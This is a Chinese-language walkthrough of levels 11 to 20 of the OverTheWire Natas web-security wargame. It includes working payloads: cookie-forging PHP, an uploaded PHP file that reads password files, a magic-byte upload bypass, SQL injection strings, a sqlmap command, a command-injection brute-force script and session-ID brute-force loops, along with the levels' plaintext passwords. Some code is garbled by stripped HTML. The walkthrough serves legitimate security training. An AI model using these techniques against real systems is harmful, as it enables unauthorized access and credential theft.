OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0和natas1读取。
网站:
http://overthewire.org/wargames/natas/
Tips:所用工具:Chrome浏览器;Curl;BurpSuite;SQLMap
Level 11-12
Username: natas11Password: natas11URL: http://natas11.natas.labs.overthewire.org
首先使用我们之前得到的密码: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登录natas11,得到一句提示:
Cookies are protected with XOR encryption
还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。关键代码如下:
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");function xor_encrypt($in) {$key = 'censored>';$text = $in;$outText = '';// Iterate through each characterfor($i=0;$istrlen($text);$i++) {$outText .= $text[$i] ^ $key[$i % strlen($key)];}return $outText;}function loadData($def) {global $_COOKIE;$mydata = $def;if(array_key_exists("data", $_COOKIE)) {$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);if(is_array($tempdata) line-height:20px;font-size:13px">"showpassword", $tempdata) line-height:20px;font-size:13px">"bgcolor", $tempdata)) {if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {$mydata['showpassword'] = $tempdata['showpassword'];$mydata['bgcolor'] = $tempdata['bgcolor'];}}}return $mydata;}function saveData($d) {setcookie("data", base64_encode(xor_encrypt(json_encode($d))));}$data = loadData($defaultdata);if(array_key_exists("bgcolor",$_REQUEST)) {if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {$data['bgcolor'] = $_REQUEST['bgcolor'];}}saveData($data);?>h1>natas11/h1>div id="content">body style="background: ?=$data['bgcolor']?>;">Cookies are protected with XOR encryptionbr/>br/>?if($data["showpassword"] == "yes") {print "The password for natas12 is censored>br>";}?>
从代码可以看出,通过一些列的编码,包括 base64加密, php异或运算。把用户输入的数据编码进 cookie里面。通过浏览器可以查看到data这个值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword这个参数决定了我们是否能看到下一关密码。代码中有个 censored的 key,这个是 php用来做异或运算加密用到的 key,我们需要先算出这 key值,然后用这个值作为 key进行运算和一些列编码,计算出新的 cookie传入,即可得到下一关的密码。
key值计算:
?php$orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');function xor_encrypt($in) {$text = $in;$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));$out = '';for($i=0;$istrlen($text);$i++) {$out .= $text[$i] ^ $key[$i % strlen($key)];}return $out;}echo xor_encrypt($orig_cookie);?>
得到的结果是 qw8J
计算新的Cookie:
?php$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");function xor_encrypt($in) {$key = 'qw8J';$text = $in;$out = '';// Iterate through each characterfor($i=0;$istrlen($text);$i++) {$out .= $text[$i] ^ $key[$i % strlen($key)];}return $out;}function loadData($def) {$mydata = $def;$tempdata = json_decode(xor_encrypt(base64_decode($data)), true);return $mydata;}echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))?>
结果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,传入新的Cookie:
curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"HTTP/1.1 200 OKDate: Mon, 27 Aug 2018 13:40:47 GMTServer: Apache/2.4.10 (Debian)Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK......Cookies are protected with XOR encryptionbr/>br/>The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3br>......
得到密码。
Level 12-13
Username: natas12URL: http://natas12.natas.labs.overthewire.org
登录natas12,可以看到是一个上传文件功能:
Choose a JPEG to upload (max 1KB):
提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:
?function genRandomString() {$length = 10;$characters = "0123456789abcdefghijklmnopqrstuvwxyz";$string = "";for ($p = 0; $p $length; $p++) {$string .= $characters[mt_rand(0, strlen($characters)-1)];}return $string;}function makeRandomPath($dir, $ext) {do {$path = $dir."/".genRandomString().".".$ext;} while(file_exists($path));return $path;}function makeRandomPathFromFilename($dir, $fn) {$ext = pathinfo($fn, PATHINFO_EXTENSION);return makeRandomPath($dir, $ext);}if(array_key_exists("filename", $_POST)) {$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {echo "File is too big";} else {if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {echo "The file a href=\"$target_path\">$target_path/a> has been uploaded";} else{echo "There was an error uploading the file, please try again!";}}} else {?>form enctype="multipart/form-data" action="index.php" method="POST">input type="hidden" name="MAX_FILE_SIZE" value="1000" />input type="hidden" name="filename" value="? print genRandomString(); ?>.jpg" />Choose a JPEG to upload (max 1KB):br/>input name="uploadedfile" type="file" />br />input type="submit" value="Upload File" />
通过阅读代码,可以发现除了限制文件大小和文件扩展名做了前端限制之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。你可以通过 BurpSuite之类的工具修改上传的 filename后缀即可。
///getpass.php?php$getpass = file_get_contents('/etc/natas_webpass/natas13');echo $getpass;?>
得到密码: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13-14
Username: natas13URL: http://natas13.natas.labs.overthewire.org
页面和前一关一样,不过查看源代码发现这一次限制了文件类型,通过 php的函数 exif_imagetype() 来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(第一个字节),从而检测文件类型。关键代码如下:
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {echo "File is not an image";} else {if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {echo "The file a href=\"$target_path\">$target_path/a> has been uploaded";} else{echo "There was an error uploading the file, please try again!";}}} else {
那我们只需在上传的 php文件中加入任意图片格式文件头标识即可,比如 GIF98a
GIF89a?php$getpass = file_get_contents('/etc/natas_webpass/natas14');echo $getpass;?>
上传后访问返回的路径,得到密码: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14-15
Username: natas14URL: http://natas14.natas.labs.overthewire.org
访问后,是一个登录页面,需要输入 username和 password,查看代码,关键代码:
?if(array_key_exists("username", $_REQUEST)) {$link = mysql_connect('localhost', 'natas14', 'censored>');mysql_select_db('natas14', $link);$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";if(array_key_exists("debug", $_GET)) {echo "Executing query: $querybr>";}if(mysql_num_rows(mysql_query($query, $link)) > 0) {echo "Successful login! The password for natas15 is censored>br>";} else {echo "Access denied!br>";}mysql_close($link);} else {?>
很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: " OR 1=1 #
注入成功,得到密码: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 15-16
Username: natas15URL: http://natas15.natas.labs.overthewire.org
页面需要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:
h1>natas15/h1>div id="content">?/*CREATE TABLE `users` (`username` varchar(64) DEFAULT NULL,`password` varchar(64) DEFAULT NULL);*/if(array_key_exists("username", $_REQUEST)) {$link = mysql_connect('localhost', 'natas15', 'censored>');mysql_select_db('natas15', $link);$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";if(array_key_exists("debug", $_GET)) {echo "Executing query: $querybr>";}$res = mysql_query($query, $link);if($res) {if(mysql_num_rows($res) > 0) {echo "This user exists.br>";} else {echo "This user doesn't exist.br>";}} else {echo "Error in query.br>";}mysql_close($link);} else {?>
这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE表达式用通配符按个判断。这里我们直接用 sqlmap好了。
sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
或者写python脚本获取密码,得到密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Level 16-17
Username: natas16URL: http://natas16.natas.labs.overthewire.org
这一关和第9关,第10关很像,不过过滤了更多的字符
页面提示 Forsecurity reasons,we now filter even more on certain characters,页面功能是 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。关键代码如下:
$key = "";if(array_key_exists("needle", $_REQUEST)) {$key = $_REQUEST["needle"];}if($key != "") {if(preg_match('/[;|line-height:20px;font-size:13px">,$key)) {print "Input contains an illegal character!";} else {passthru("grep -i \"$key\" dictionary.txt");}}?>
虽然过滤了很多字符,但是没有过滤 $和 ()。我们知道PHP里的 $()即使在引号内也可以使用,所以我们可以构造注入语言 $(grep a/etc/natas_webpass/natas17),执行的语句是这样的: passthru("grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt");所有的单词都被返回了。 我们知道 dictionary.txt中存在字符串,比如说 A,用它与 $(grep)的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的 grep会返回结果 。比如说:如 password中首字母为 a,构成
grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由于内部的 $()命令返回了 a,则使外层命令变为
grep-I"aA"dictionary.txt由于 dictionary中没有 aA,从而返回空值 而如果内层 $()命令返回空值,外层则能正确检索到 A,于是返回值,证明首字母不是 a
按照这个原理可以构造出爆破脚本
import requestschars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'exist = ''password = ''target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'trueStr = 'Output:\npre>\n/pre>'for x in chars:r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Getpass')if r.content.find(trueStr) != -1:exist += xprint 'Using: ' + existfor i in range(32):for c in exist:r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Getpass')if r.content.find(trueStr) != -1:password += cprint 'Password: ' + password + '*' * int(32 - len(password))break
得到密码是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 17-18
Username: natas17URL: http://natas17.natas.labs.overthewire.org
同 natas15,不过没有错误提示,所以可以用基于时间的盲注。
得出的密码是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18-19
Username: natas18URL: http://natas18.natas.labs.overthewire.org
提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.
同样有一个登录框,可以输入 username和 password。关键代码如下:
$maxid = 640; // 640 should be enough for everyonefunction isValidAdminLogin() { /* {{{ */if($_REQUEST["username"] == "admin") {/* This method of authentication appears to be unsafe and has been disabled for now. *///return 1;}return 0;}/* }}} */function isValidID($id) { /* {{{ */return is_numeric($id);}/* }}} */function createID($user) { /* {{{ */global $maxid;return rand(1, $maxid);}/* }}} */function debug($msg) { /* {{{ */if(array_key_exists("debug", $_GET)) {print "DEBUG: $msgbr>";}}/* }}} */function my_session_start() { /* {{{ */if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {if(!session_start()) {debug("Session start failed");return false;} else {debug("Session start ok");if(!array_key_exists("admin", $_SESSION)) {debug("Session was old: admin flag set");$_SESSION["admin"] = 0; // backwards compatible, secure}return true;}}return false;}/* }}} */function print_credentials() { /* {{{ */if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {print "You are an admin. The credentials for the next level are:br>";print "pre>Username: natas19\n";print "Password: censored>/pre>";} else {print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";}}/* }}} */$showform = true;if(my_session_start()) {print_credentials();$showform = false;} else {if(array_key_exists("username", $_REQUEST) line-height:20px;font-size:13px">"password", $_REQUEST)) {session_id(createID($_REQUEST["username"]));session_start();$_SESSION["admin"] = isValidAdminLogin();debug("New session started");$showform = false;print_credentials();}}if($showform) {?>
从代码上来看,没有连接数据库,说明不是 sql注入,但是我们注意到有一个变量 maxid,在 createID函数中,接收用户名请求,并将其分配给 1到 640($maxid)之间的随机整数。然后它将其初始化为 session_id。假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。
所以我们只要穷举 maxid的值就好了。可以用 Burpsuite爆破这个值,然后把它作为 PHPSESSID发送请求,即可得到密码。密码为 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
如果嫌 Burpsuite太麻烦,用 shell脚本也可轻松搞定
for i in `seq 640`doecho $icurl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19done
Level 19-20
Username: natas19URL: http://natas19.natas.labs.overthewire.org
提示是这样的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一关一样,只不过 PHPSESSID不再那么简单容易猜到而已。
通过观察,发现其 PHPSESSID,虽然一长串字符串,如 3237362d61646d696e,通过16进制解码发现,都是由 3位数字-admin组成的,也就是说后面的 2d61646d696e是不变的。所以我们只需要穷举 1-640之间的数字然后拼接 -admin做16进制转换,再带入 PHPSESSID中进行提交,就能找到那个属于 admin的 PHPSESSID。最后得到的密码是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 20-21
Username: natas20URL: http://natas20.natas.labs.overthewire.org
登录后,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以输入 Yourname,然后点 Changename,不过无论你输入什么页面都没有任何信息反馈给你。查看源码,关键代码如下:
?function debug($msg) { /* {{{ */if(array_key_exists("debug", $_GET)) {print "DEBUG: $msgbr>";}}/* }}} */function print_credentials() { /* {{{ */if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {print "You are an admin. The credentials for the next level are:br>";print "pre>Username: natas21\n";print "Password: censored>/pre>";} else {print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";}}/* }}} *//* we don't need this */function myopen($path, $name) {//debug("MYOPEN $path $name");return true;}/* we don't need this */function myclose() {//debug("MYCLOSE");return true;}function myread($sid) {debug("MYREAD $sid");if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {debug("Invalid SID");return "";}$filename = session_save_path() . "/" . "mysess_" . $sid;if(!file_exists($filename)) {debug("Session file doesn't exist");return "";}debug("Reading from ". $filename);$data = file_get_contents($filename);$_SESSION = array();foreach(explode("\n", $data) as $line) {debug("Read [$line]");$parts = explode(" ", $line, 2);if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];}return session_encode();}function mywrite($sid, $data) {// $data contains the serialized version of $_SESSION// but our encoding is betterdebug("MYWRITE $sid $data");// make sure the sid is alnum only!!if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {debug("Invalid SID");return;}$filename = session_save_path() . "/" . "mysess_" . $sid;$data = "";debug("Saving in ". $filename);ksort($_SESSION);foreach($_SESSION as $key => $value) {debug("$key => $value");$data .= "$key $value\n";}file_put_contents($filename, $data);chmod($filename, 0600);}/* we don't need this */function mydestroy($sid) {//debug("MYDESTROY $sid");return true;}/* we don't need this */function mygarbage($t) {//debug("MYGARBAGE $t");return true;}session_set_save_handler("myopen","myclose","myread","mywrite","mydestroy","mygarbage");session_start();if(array_key_exists("name", $_REQUEST)) {$_SESSION["name"] = $_REQUEST["name"];debug("Name set to " . $_REQUEST["name"]);}print_credentials();$name = "";if(array_key_exists("name", $_SESSION)) {$name = $_SESSION["name"];}?>
我们来看看每个函数的作用:
debug($msg)表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug来查看调试消息 $msg。
访问之后将看到一些提示,类似这样的:
DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1DEBUG: name => admin
可以看出,登录之后, $ _SESSION的值被存储在一个文件中。
重点在 mywrite和 myread这两个关键函数,它们的作用是管理会话状态。
默认情况下, $ _SESSION中唯一的 key是 name,其值通过 /index.php中的表单提交进行设置。我们可以通过对 name键值对进行注入:将 data里面的值变为: name xxxx \n admin1\n。
对换行符编码然后提交:
http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201line-height:22px;font-size:14px">You are an admin. The credentials for the next level are:Username: natas21Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
未完待续......
(如需转载,请注明出处)
转载请注明来自网盾网络安全培训,本文标题:《Natas通关指南(11-20)》
- 上一篇: 门罗币挖矿事件简单分析
- 下一篇: 几道CTF题的writeup
- 关于我们




